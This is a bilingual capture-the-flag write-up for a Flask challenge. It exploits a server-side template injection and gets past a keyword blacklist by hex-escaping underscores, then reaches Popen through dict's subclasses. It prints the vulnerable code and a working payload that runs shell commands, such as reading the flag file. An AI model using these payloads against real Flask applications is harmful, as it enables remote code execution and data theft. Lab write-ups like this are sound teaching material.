Skip to content

Latest commit

 

History

History

Flasksibel

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

Flasksibel

Difficulty: Advanced
Flag: HC5{4P4k4H_k4L14N_b4Ru_M3ng3N4l_55T1???}


EN

In this challenge, we're provided with a flask-based website and its source code. The website has a simple form consisting of just a text input and a submission button.
UI

When submitted, the flask server renders the input as part of the html through a template string.

    template = '''<!DOCTYPE html>
    <html>
    <body>
    <form action="" method="POST">
      Username: <input name="username"> <br>
      <input type="submit" value="Preview!">
    </form>
    <p>{}</p>
    </body>
    </html>'''.format(username)
    return render_template_string(template)

Checking out the source code, we see that there is a sanitization mechanism that prevents certain keywords from being inputted into the username,

blacklist = ["os", "popen", "subprocess", "_", "mro", ".", "globals", "locals", "config","builtins", "import"]

def sanitize_input(name):
    for word in blacklist:
        if word in name:
            return False
    return name

and if it detects said keywords in the input, the server will return an error object.

      username = sanitize_input(username)
      if not username:
        return jsonify({'error': 'Forbidden Words'})```

Looking at the blacklist, it's pretty clear that this flag requires an RCE of some sort, however, the blacklist is quite comprehensive and it took me quite a while to find the right references to work with. ("." AND "_" are both BANNED? Insane.)

So the first entrypoint involves the templating mechanism. The template mechanism uses a format string to render the username variable onto it.

What's bad about it, is it doesn't escape/sanitize special characters that can result in the escaping of the template and dropping straight into python code.

This can be confirmed by inputting {{ 7 * 7 }}, where if the sanitization was done properly, we'd just see the input, instead we see 49, indicating RCE: It executed it

So now, it's just a matter of executing ls and cat somehow, without having to use the words/characters in the blacklist. Working off the reference I had, what I needed was a built-in python class object to start off with.

Fortunately, dict was already a class and it wasn't banned, so I started off with that.

{{ dict }}

Then, we needed to access the __subclasses__. This is done so that we can see every method that inherits the dict class, to see which one we can exploit to run the two CLI utilities necessary.

First, what I did was access __class__, then drop down to __base__. The underscores were escaped by using their UTF-8 code variant, \x5f. In hindsight, dropping down to __class__ wasn't necessary, since dict was already a class.

{{ dict['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f'] }}

Then, to access the methods I did this:

{{ dict['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']() }}

This returns a large list of methods. Alt text Skimming through, what I was looking for was either a method to load up a file (e.g. open()) or one to open up a shell (e.g. check_output() or Popen()).

At index 352, I see just the tool that I needed, Popen. Popen wasn't exactly ideal, as my experience with it before has only ever been to use it as a worker spawner w/o bidirectional comms, but we'll have to make do.

Looking around on Google, I found a few references on how to run Popen as a single turn (run a single command) shell. Here's the final payload that I came up with:

{{ dict['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[352]('# INSERT COMMAND HERE',shell=True,stdout=-1)["communicate"]()[0]["strip"]() }}

Using this with ls, I tracked the flag down to / under the name flag_ssti.txt, so I ran this:

{{ dict['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[352]('cat /flag\x5fssti\x2Etxt',shell=True,stdout=-1)["communicate"]()[0]["strip"]() }}

🎉🎉🎉🎉 WIN


ID

Di challenge yang ini kita diberikan website berbasis flask dan source codenya. Websitenya simpel, form dengan input teks dan button untuk submit.
UI

Saat disubmit, teks dirender di server ke htmlnya menggunakan template string.

    template = '''<!DOCTYPE html>
    <html>
    <body>
    <form action="" method="POST">
      Username: <input name="username"> <br>
      <input type="submit" value="Preview!">
    </form>
    <p>{}</p>
    </body>
    </html>'''.format(username)
    return render_template_string(template)

Kalau kita lihat di source code, kita bisa lihat kalau ada sanitasi yang mencegah request jika mengandung beberapa keyword,

blacklist = ["os", "popen", "subprocess", "_", "mro", ".", "globals", "locals", "config","builtins", "import"]

def sanitize_input(name):
    for word in blacklist:
        if word in name:
            return False
    return name

dan jika terdeteksi ada keyword dalam request, maka akan return object error.

      username = sanitize_input(username)
      if not username:
        return jsonify({'error': 'Forbidden Words'})```

Kalo kita liat blacklistnya ini memang sepertinya sebuah RCE, tetapi melihat listnya cukup komplit, agak susah mencari referensinya. ("." DAN "_" DUA-DUANYA DIBAN? Gile.)

Jadi pintu masuk yang pertama itu melalui mekanisme templatenya, dia menggunakan format string untuk merender variabel username ke html.

Yang gak bener itu adalah, kalo kita lihat, dia nggak sanitasi special characters yang bisa digunakan untuk escape dari stringnya terus langsung ke python.

Ini bisa kita konfirmasi pake {{ 7 * 7 }}, dimana kalo bener, kita harusnya liat sama persis, tapi malah 49, berarti RCE: It executed it

Nah, tinggal cari cara jalanin ls dan cat, tanpa pake kata di blacklist. Pake referensi, yang aku perluin pertama adalah class object.

Untungnya, dict udah class dan nggak diban, jadi aku mulai dari situ.

{{ dict }}

Abis itu kita perlu __subclasses__. Ini biar kita bisa liat keturunan si dict class, biar bisa tau yang mana yang bisa kita gunakan untuk ngejalanin utility-utility di atas.

Jadi pertama itu __class__, terus __base__. Underscorenya diganti pake variasi special, \x5f. Sebenernya sih, __class__ nggak perlu, karena dict udah class.

{{ dict['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f'] }}

Nah, terus kita akses __subclasses__:

{{ dict['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']() }}

Ini hasilnya list yang gede banget. Alt text Aku cari di listnya untuk sesuatu yang bisa buka file (e.g. open()) atau yang bisa buka shell (e.g. check_output() or Popen()).

Di index 352, keliatan tuh, Popen. Popen nggak ideal sih sebenernya, karena aku cuman pernah pake dia buat buka worker shell, jadi aku nggak familier dengan sintaksnya, tapi yowes.

Liat-liat di Google, ketemu beberapa referensi untuk jalanin Popen sebagai shell sekali jalan (jalanin satu command aja). Ini payload akhirnya yang aku dapet:

{{ dict['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[352]('# INSERT COMMAND HERE',shell=True,stdout=-1)["communicate"]()[0]["strip"]() }}

Pake ini dengan ls, aku nemu flag di / dengan nama flag_ssti.txt. Udah deh, gini:

{{ dict['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[352]('cat /flag\x5fssti\x2Etxt',shell=True,stdout=-1)["communicate"]()[0]["strip"]() }}

🎉🎉🎉🎉 WIN